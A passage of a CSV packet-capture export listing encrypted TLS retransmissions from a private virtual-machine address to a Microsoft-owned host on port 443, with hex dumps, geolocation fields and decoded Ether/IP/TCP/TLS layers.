Ack=1369756557,525400577f945254007bb792080045000120b70240008006e8bfc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68693c26d5da92125ed83afd256f4616107fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5ddab2d313dacec1a67188a79274fbf353a,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46850, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59583, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x93\\\\xc2m]\\\\xa9!%\\\\xed\\\\x83\\\\xaf\\\\xd2V\\\\xf4aa\\\\x07\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\xab-1=\\\\xac\\\\xec\\\\x1ag\\\\x18\\\\x8ay\\\\'O\\\\xbf5:' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:46.808720,7,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70340008006e8bec0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68693c26d5da92125ed83afd256f4616107fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5ddab2d313dacec1a67188a79274fbf353a,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46851, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59582, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x93\\\\xc2m]\\\\xa9!%\\\\xed\\\\x83\\\\xaf\\\\xd2V\\\\xf4aa\\\\x07\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\xab-1=\\\\xac\\\\xec\\\\x1ag\\\\x18\\\\x8ay\\\\'O\\\\xbf5:' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:46.871203,8,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb704000080062953c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.........)S..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46852, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10579, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:48.018008,9,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b7050000800628bdc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68693c26d5da92125ed83afd256f4616107fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5ddab2d313dacec1a67188a79274fbf353a,\"RT.W..RT.{....E.. ......(...z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46853, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10429, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x93\\\\xc2m]\\\\xa9!%\\\\xed\\\\x83\\\\xaf\\\\xd2V\\\\xf4aa\\\\x07\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\xab-1=\\\\xac\\\\xec\\\\x1ag\\\\x18\\\\x8ay\\\\'O\\\\xbf5:' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:48.081837,10,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70640008006e950c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....P..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46854, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59728, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:49.230467,11,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b7070000800628bbc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68693c26d5da92125ed83afd256f4616107fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5ddab2d313dacec1a67188a79274fbf353a,\"RT.W..RT.{....E.. ......(...z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46855, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10427, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x93\\\\xc2m]\\\\xa9!%\\\\xed\\\\x83\\\\xaf\\\\xd2V\\\\xf4aa\\\\x07\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\xab-1=\\\\xac\\\\xec\\\\x1ag\\\\x18\\\\x8ay\\\\'O\\\\xbf5:' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:21:50.433575,12,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70840008006e8b9c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68693c26d5da92125ed83afd256f4616107fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5ddab2d313dacec1a67188a79274fbf353a,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....m].!%....V.aa..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1.....-1=...g..y'O.5:\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46856, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59577, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  